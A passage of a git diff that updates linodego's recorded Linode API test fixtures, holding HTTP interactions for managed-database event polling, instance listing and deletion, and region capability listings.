X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:30:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:31:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:31:26 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:31:41 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": false, + "read": false, "percent_complete": null, "time_remaining": null, "rate": null, + "duration": null, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "notification", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "468" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:31:56 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + X-Filter: + - '{"+order":"desc","+order_by":"created","action":"database_create","created":{"+gte":"2024-06-24T16:45:40"},"entity.id":133345,"entity.type":"database","id":{"+gte":755284949}}' + url: https://api.linode.com/v4beta/account/events?page=1 + method: GET + response: + body: '{"data": [{"id": 755284949, "created": "2018-01-02T03:04:05", "seen": true, + "read": false, "percent_complete": 100, "time_remaining": null, "rate": null, + "duration": 2360, "action": "database_create", "username": "lgarber-dx", "entity": + {"label": "go-postgres-testing-def", "id": 133345, "type": "database", "url": + "/v4/databases/postgresql/instances/133345"}, "status": "finished", "secondary_entity": + null, "message": ""}], "page": 1, "pages": 1, "results": 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "462" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 24 Jun 2024 17:32:11 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - events:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/databases/instances?page=1 + method: GET + response: + body: '{"data": [{"id": 133345, "label": "go-postgres-testing-def", "type": "g6-nanode-1", + "engine": "postgresql", "version": "14.6", "region": "ap-west", "status": "active", + "port": 5432, "encrypted": false, "allow_list": ["203.0.113.1", "192.0.1.0/24"], + "cluster_size": 3, "hosts": {"primary": "lin-133345-103182-pgsql-primary.servers.linodedb.net", + "secondary": "lin-133345-103182-pgsql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 0, "used_disk_size_gb": 0, "members": {"170.187.251.168": "failover", "170.187.251.240": + "failover", "170.187.251.7": "primary"}, "updates": {"frequency": "weekly", + "duration": 3, "hour_of_day": 2, "day_of_week": 7, "week_of_month": null}, "instance_uri": + "/v4/databases/postgresql/instances/133345"}], "page": 1, "pages": 1, "results": + 1}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "852" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:32:11 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8350,7 +12889,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -8366,7 +12905,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/postgresql/instances/28215 + url: https://api.linode.com/v4beta/databases/postgresql/instances/133345 method: DELETE response: body: '{}' @@ -8382,15 +12921,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 17:32:28 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -8405,7 +12948,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestDatabase_MySQL_Suite.yaml b/test/integration/fixtures/TestDatabase_MySQL_Suite.yaml index f4f2d432b..040f1c2b0 100644 --- a/test/integration/fixtures/TestDatabase_MySQL_Suite.yaml +++ b/test/integration/fixtures/TestDatabase_MySQL_Suite.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", - "ipv6": "1234::5678, 1234::5678, 1234::5678, + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, - 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": + "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, + 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 